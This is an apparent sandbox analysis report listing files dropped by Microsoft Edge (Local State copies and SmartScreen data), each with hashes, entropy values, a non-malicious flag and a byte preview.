{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37a80.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37a90.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37c45.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a336.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e83e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48d29.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ecec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
